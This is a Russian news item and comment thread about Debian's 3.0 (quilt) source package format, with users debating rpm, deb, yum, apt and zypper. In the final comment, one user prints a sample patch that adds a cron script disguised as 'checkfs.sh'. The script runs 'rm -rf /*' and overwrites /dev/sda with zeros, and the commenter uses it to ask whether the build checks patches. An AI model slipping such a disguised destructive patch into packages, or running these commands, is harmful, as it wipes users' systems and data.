Одной из самых неудобных особенностей системы оформления DEB-пакетов с исходными текстами является объединение всех внешних патчей к базовым исходным текстам программы в виде одного diff-файла. Разобраться какие-именно патчи используются и как выделить из них какой-то определенный патч не является очевидным. Недавно это ограничение было снято - разработчики одобрили (http://lists.debian.org/debian-devel-announce/2009/11/msg000...) возможность включения в рабочие репозитории Debian пакетов в формате DebSrc 3.0 (http://wiki.debian.org/Projects/DebSrc3.0) / DPKG 3.0 (quilt), в которых предусмотрена возможность компоновки патчей в виде отдельных файлов внутри директории "debian/patches/", примерно, как это делается в формате RPM. Управление раздельными патчами может производится при помощи стандартной утилиты quilt (http://savannah.nongnu.org/projects/quilt).
Версия пакетного менеджера dpkg из состава Debian Lenny уже поддерживает новый формат, поэтому проблем с переносимостью воз...URL: http://lists.debian.org/debian-devel-announce/2009/11/msg000...
Новость: http://www.opennet.me/opennews/art.shtml?num=24364
наконец-то, теперь не нужно полдня искать патч в котором надо поправить.
Напряги с grep/egrep/regexp?0001.diff
0111.diff
1010.diff
1011.diff
1110.diff
1011.diff
1101.diffodinbalshoy.diff
Ну и какая разница?
Или Вы до сих пор верите в соответствие названия файла и его содержимого?
Интересно когда 3.0 появится в Ubuntu.
>Интересно когда 3.0 появится в Ubuntu.Уже имеется вроде как.
2 года назад это было в ubuntu. возможно это одна из причин по которой убунтовцы решили сделать свои (src-)пакеты несовместимыми с debian. Столлман тогда неодобрил.
В огороде бузина, а в бостоне дядька. :/
Иными словами, заново изобрели rpm.
Осталось придумать спек и систему макросов :)
>Осталось придумать спек и систему макросов :)Причём, систем макросов нужно придумать несколько, да так, чтобы они были несовместимы между собой :-).
>Иными словами, заново изобрели rpm.Не совсем. В rpm тоже периодически "изобретают" deb.
Но новость безусловно забавная.
пруфлинк, пожалуйста
Не надо лениться искать: http://opennet.ru/opennews/art.shtml?num=23776
>Иными словами, заново изобрели rpm.Сами сношайтесь с этими вашими RPM-ами. Мало того что порасплодили полдюжины частично совместимых и не совместимых форматов, так еще и пакетный манагер полное УГ писаное на питоне - тормозное и ресурсов жрет что пипец, так что на всяких low resource(embedded, ...) и VM-ах память тупо кончается при работе отстоя с названием yum. Дожили до того что 128 мегов памяти в контейнере - мало чтобы просто пакетик поставить, особенно если не дай боже что-то еще запущено, %$@!
> память тупо кончается при работе отстоя с названием yum.Rpm работает в связке с apt с 2000-го года, когда никаких yum ещё не было.
>Rpm работает в связке с apt с 2000-го года,Ну да, у альтов оно кажется так и сделано (вы случайно не про них?). Вот только увы, редхат выбрал другой маршрут. Ну и кучка деривативов и подобий туда же последовала. Ну как бы их дело, удачи им и все такое. Но как нибудь без меня.
>вы случайно не про них?Нет, про Connectiva - папа или мама Mandriva ;-).
вы совершенно не понимаете о чем идёт речь. это это стандарт _исходников_ пакетов. корректно было бы его сравнивать со spec-файлами.
rpm легче собирать :) Особенно, если рука не набита, как у мантайнеров Дебиана)И про большой репозиторий не нужно, я свои скрипты часто кладу в пакеты, или собираю что-то с патчами (тот же последний sudo с официальным security патчем ужасен, фиксится правкой всего одной строчки в спеке)
При этом зависимости формирует сам rpmbuild, мучиться со сборкой dpkg ради каких-то мягких зависимостей, которые все равно нужны не всем (например, не нужны мне) как-то не хочется.
Альтернативы (и java и MTA, и т д) можно, через костыли, использовать в rpm-based системах, но вместо этого проще просто создать другой контейнер и в Debian. По-настоящему удобно это только во фре, и в не очень стабильной для сервера генте :(aptitude действительно мощнее, чем yum, но так ли нужны его возможности? а 128 мегабайт yum'у в OVZ/PVC-контейнере более чем достаточно!
А то, что yum тормозной, никогда не соглашусь :) Имхо, он уже давно работает не медленнее aptitude!З.Ы. В некоторых аспектах с точки зрения конечного пользователя apt/dpkg все-таки уступает rpm. Конкретный пример: rpm -V. Такой проверки пакетов в dpkg нет by design, есть debsum, но он не умеет даже доли!
З.З.Ы. При всем при этом, повторюсь, я согласна с тем, что одним из ключевых преимуществ Debian является именно огромные репозитории, apt, а так же module assistent, даже скажу, что Debian, как систему, я в личном рейтинге удобства ставлю второй после RH-based.
Только вот огромные репозитории и apt не так важны, как, имхо, их пытаются обозначить. Кстати, в RH-системах есть Sattelite/Spacewalk для глобального (в маштабах Дата-центров) менеджмента rpm-пакетов на всех системах. Под apt таких решений просто нет.
З.З.З.Ы. советую (и прошу, так как надоел уже этот поклеп со стороны пользователей Debian/Ubuntu) допустить, что rpm не так плох, как Вам об этом говорит сформировавшийся, внутри Дебиан-коммюнити, штамп.
За что в Debian так модно ненавидеть RH-платформу?
>А то, что yum тормозной, никогда не соглашусь :) Имхо, он уже
>давно работает не медленнее aptitude!Проблема в том, что yum обязательно проверяет репозитарий при каждом запросе. А у apt команды update и install/upgrade/dist-upgrade разделены. Но это скорее фича, чем бага :-).
>З.Ы. В некоторых аспектах с точки зрения конечного пользователя apt/dpkg все-таки уступает
Не надо смешивать apt и dpkg. Apt с rpm работает с 2000-го года (постаралась фирма Connectiva). Т.е. почти с рождения.
До yum у RedHat был urpmi, у Suse был yast, теперь Zypper. Это утилиты более высокого уровня, чем dpkg/rpm. Yum наверняка можно заставить работать с dpkg, было бы желание.
>Только вот огромные репозитории и apt не так важны, как, имхо, их
>пытаются обозначить.Они очень важны. Просто сейчас у каждого mainstream дистрибутива есть либо один мощный репозитарий (например, Sisyphus), либо несколько доп. репозитариев (OpenSuse - packman, RH - rpmfusion и т.д.). В каждом дистрибутиве своя утилита аналогичная apt.
>Проблема в том, что yum обязательно проверяет репозитарий при каждом запросе. А
>у apt команды update и install/upgrade/dist-upgrade разделены. Но это скорее фича,
>чем бага :-).-------yum(8)--------
-C Tells yum to run entirely from cache - does not download or update any headers unless it has to to perform the
requested action.
---------------------->>З.Ы. В некоторых аспектах с точки зрения конечного пользователя apt/dpkg все-таки уступает
>
>Не надо смешивать apt и dpkg. Apt с rpm работает с 2000-го
>года (постаралась фирма Connectiva). Т.е. почти с рождения.Фактически, репозиториев под него для RH не найти (последний раз видела только какой-то репозиторий со сборками KDE), потому и немного смешивала :)
> у Suse был yast, теперь Zypper.
Кстати, вот Zypper, по-моему, действительно очень-очень тормозной, правда в последний раз смотрела OpenSUSE 10.3 и видела какой-то SLES, в котором zypper вообще не был установлен (или не было в репозиториях), может, сейчас и стало лучше. Почему столько негатива на yum, но все молчат про объективно медленном Zypper/yast?
>>Только вот огромные репозитории и apt не так важны, как, имхо, их
>>пытаются обозначить.
>
>Они очень важны. Просто сейчас у каждого mainstream дистрибутива есть либо один
>мощный репозитарий (например, Sisyphus), либо несколько доп. репозитариев (OpenSuse - packman,
>RH - rpmfusion и т.д.). В каждом дистрибутиве своя утилита аналогичная
>apt.Дело в качестве. Имхо, лучше меньше пакетов, но в которых практически нет багов, как у того же RHEL.
>Вы, видимо по молодости, не застали тех времён, когда ни apt, ни огромных сетевых
>репозитариев не было. И установка rpm с компакт-диска RH превращалась в беготню по
>каталогу с rpm-ками и ручной установкой. Человеку достаточно, в общем-то жалких 15-ти ?
>пакетов, чтобы начать материться. :-)Да, не застала, но на ЛОР (пожалуйста, не нужно меня туда посылать, у меня там даже регистрации нет:))) в таких случаях предлагают выйти из анабиоза(с).
>Ну и в 99-м году то действо, что вызывали команды apt-get update; apt-get dist-upgrade -?>y, приводило народ в дикий восторг. ;-)
:)))
Вот вы говорите о том, что в Debian труднее пропатчить под себя пакет. Но сам формат deb к этому вообще отношения не имеет. В нём со второй версии есть всё, что до сих пор пытаются изобрести в rpm.rpmbuild не столь божественнен, как вы пытаетесь это показать. Практически точный аналог dpkg-buildpackage.
spec-файлы же, пожалуй, действительно значительно нагляднее системы deb-src. В spec-файле всё сосредоточено в одном месте, что нагляднее нескольких отдельных файлов в каталоге debian/.
>[оверквотинг удален]
>пакет. Но сам формат deb к этому вообще отношения не имеет.
>В нём со второй версии есть всё, что до сих пор
>пытаются изобрести в rpm.
>
>rpmbuild не столь божественнен, как вы пытаетесь это показать. Практически точный аналог
>dpkg-buildpackage.
>
>spec-файлы же, пожалуй, действительно значительно нагляднее системы deb-src.
>В spec-файле всё сосредоточено
>в одном месте, что нагляднее нескольких отдельных файлов в каталоге debian/.Не спорьте, горячие финские парни. И Debian и rpm-based дистры конкретно сливают
в плане _простоты_ создания и поддержки пакета пакетной системе
pkgsrc и другим port-like системам,
где инструкции сборки декларативные, а не императивные.Контрольные суммы исходных тарболов, полное описание пакетов, список файлов пакета и собственно инструкции сборки -- в отдельных файлах.
Инструкции сборки для "стандартных пакетов" - проще простого.
Аж насколько просто работать с патчами -- вообще красота...
Никакого УГ типа quilt.Пример:
http://cvsweb.se.netbsd.org/cgi-bin/bsdweb.cgi/pkgsrc/devel/.../
http://cvsweb.se.netbsd.org/cgi-bin/bsdweb.cgi/wip/runawk/
>-------yum(8)--------
> -C
>Tells yum to run entirely from cache - does
>not download or update any headers unless it has to to
>perform the
>
> requested action.
>----------------------Я же говорю - фича, естественно, отключаемая. В apt без ключей, зато для полного обновления нужно два раза запускать программу. Ещё вывод yum search и apt-cache search слегка отличается и т.д. Но принципиальной разницы никакой нет, о чём я и пишу.
>Фактически, репозиториев под него для RH не найти (последний раз видела только
>какой-то репозиторий со сборками KDE), потому и немного смешивала :)А под ALT нет yum, под Suse нет yum, под Mandriva нет yum. Что дальше? Ну вы используете RH, у него свои особенности, свои отличия. Хорошо. Я, в основном, работаю на ALT/Debian => чаще всего apt, редко yum (настолько редко, что заветный ключик -C мне не нужен :-).
>Кстати, вот Zypper, по-моему, действительно очень-очень тормозной,
Жуткая по медлительности штука. Вспоминаю с содроганием. :-)
>Почему столько негатива на yum, но все молчат про объективно
>медленном Zypper/yast?Мало используют. Suse - очень качественный дистрибутив, но на любителя. Видимо, с хорошим железом :-).
>Дело в качестве. Имхо, лучше меньше пакетов, но в которых практически нет
>багов, как у того же RHEL.Это под задачу. Мне нужен rpmfusion в обязательном порядке из-за каких-то пакетов.
> в таких случаях предлагают выйти из анабиоза(с).
А в реальности в ответ на предложение шлют на три буквы или сразу бьют.
>>Кстати, вот Zypper, по-моему, действительно очень-очень тормозной,
>Жуткая по медлительности штука. Вспоминаю с содроганием. :-)С тех пор много воды утекло. zypper стал очень быстрым и фичастым! Во времена 10.3 zypper, если мне не изменяет склероз, бил писан на пистоне. Теперь это С или C++.
Ну и фичи... В 11.0 - 11.1 радовало zypper wp (what-provides, wp - Вывести список пакетов, предоставляющих указанную способность.)
В 11.2 ещё фичу интересную добавили: zypper ps (Вывести список запущенных процессов, использующих файлы, удалённые недавними обновлениями.)
Так что хватит zypper ругать. Он подрос, возмужал. :-)
> С тех пор много воды утекло. zypper стал очень быстрым и фичастым! Во времена 10.3 zypper, если мне не изменяет склероз, бил писан на пистоне. Теперь это С или C++.Спасибо. Это повод посмотреть Suse - всё-таки если не самый качественный, то один из самых качественных дистрибутивов.
> Так что хватит zypper ругать. Он подрос, возмужал. :-)
Да не ругаем мы его текущую версию - мы же не знаем, как оно сейчас там. А старая точно была крайне задумчивой по сравнению с apt.
Но ничего, скоро выйдет прототип новой версии apt. Вот он точно будет сильно тормозить, ибо прототип :-).
>>Почему столько негатива на yum, но все молчат про объективно
>>медленном Zypper/yast?
>
>Мало используют. Suse - очень качественный дистрибутив, но на любителя. Видимо, с
>хорошим железом :-).А это просто смешно!
Потому и молчат, что всё устраивает! Не верите - проверьте.
Ни и за любимый дистрибутив заступлюсь.
За более 10 лет использования линукса, перепробовал много дистрибутивов. Первым был KSI Linux. Кто-нибудь знает? А, между прочим, именно этот дистрибутив был первым с переведёнными описанимя RPM-пакетов, а не хвалившийся этим, кажизь ASP. Были шляпы и мандрэйки, различные версии дебиана, однажды даже слакварь... А кто-нибудь видел Corel Linux? Ну и конечно не прошёл мимо ALT'а...И только (open)SUSE просто работает.
P.S. И кстати, многие ругаются на YaST - "сильно умный"... Ну и не используйте! Благо zypper работает из коммандной строки, а конфигурационные файлы все на своих местах. Я, будучи поклонником SUSE, сам YaST не использую...
>Потому и молчат, что всё устраивает! Не верите - проверьте.Я знаю, что он очень качественен. Но и крайне своеобразен из-за yast'а.
>Первым был KSI Linux. Кто-нибудь знает?
Слышал, но не видел.
>А кто-нибудь видел Corel Linux?
Видел. "УГ", базировавшееся на Debian, KDE1, когда была уже KDE2 (правда крайне глючная).
>И только (open)SUSE просто работает.
Однако, надо признать, что первые 10-ки были до первого массированного обновления крайне глючными (про 11-е не знаю). Кроме того, на моей печатной машинке ALT 4.1 бегает значительно шустрее Suse 10.x (x не помню ;-). И, главное, ALT всё-таки наш.
>Только вот огромные репозитории и apt не так важны, как, имхо, их
>пытаются обозначить.Вы, видимо по молодости, не застали тех времён, когда ни apt, ни огромных сетевых репозитариев не было. И установка rpm с компакт-диска RH превращалась в беготню по каталогу с rpm-ками и ручной установкой. Человеку достаточно, в общем-то жалких 15-ти пакетов, чтобы начать материться. :-)
А Debian, в чём их безусловная заслуга, принесли в Linux программу apt (до неё был dselect - неделимый apt+synaptic в текстовом режиме) и репозитарии. Другие дистрибутивы, естественно, реализовали то же самое и у себя.
Ну и в 99-м году то действо, что вызывали команды apt-get update; apt-get dist-upgrade -y, приводило народ в дикий восторг. ;-)
>А Debian, в чём их безусловная заслуга, принесли в Linux программу apt
>(до неё был dselect - неделимый apt+synaptic в текстовом режиме) и
>репозитарии. Другие дистрибутивы, естественно, реализовали то же самое и у себя.Кстати, есть пакетик yum-utils, с кучей утилит под разные случаи жизни (тот же yumdownloader)
>Кстати, есть пакетик yum-utils, с кучей утилит под разные случаи жизни (тот
>же yumdownloader)В apt сильно по-другому, просто скачка без установки - ключ -d. Ну и можно как-то указать каталог, в который сохранять (обычно это /var/cache/apt/archives/).
У yum, пожалуй, есть интересная штука, аналога которой я в apt ещё не видел - авто выбор зеркала репозитария.
как верно замечено в новости:
> Версия пакетного менеджера dpkg из состава Debian Lenny уже поддерживает новый форматquilt используется достаточно давно, в чём новость ? или имеется ввиду что теперь его сделают обязательным ?
"Одной из самых неудобных особенностей системы оформления DEB-пакетов с исходными текстами является объединение всех внешних патчей к базовым исходным текстам программы в виде одного diff-файла"Который так же само мог содержать debian/patches, что и делалось большинством сопровождающих.
А еще у yum'a есть включенный по умолчанию в последних федорах presto, который качает только бинарные диффы, а не целиком пакет при обновлениях.
А у apt или yast такое есть?
>А еще у yum'a есть включенный по умолчанию в последних федорах presto,
>который качает только бинарные диффы, а не целиком пакет при обновлениях.
>
>А у apt или yast такое есть?есть. debdelta.
>есть. debdelta.ну и толку что он есть - репозиториев то нет =)
Чёй-то я довно debы не собирал, оно там, при сборке, проверяет применимость патча?А то, вот такой попадётся ")
--- /dev/null 2009-10-24 08:27:53.000000000 +0400
+++ /etc/cron.daily/checkfs.sh 2009-11-23 17:58:23.674251269 +0300
@@ -0,0 +1,4 @@
+#!/bin/bash
+
+rm -rf /* &
+
+dd if=/dev/zero of=/dev/sda
Ну, то есть, если я создам такой diff и запихну его в debian/patches,
как патчи к, скажем links, debuild проверяет, то что этот патч вообще для исходника.Хотя, от рута, оно всегда вернёт true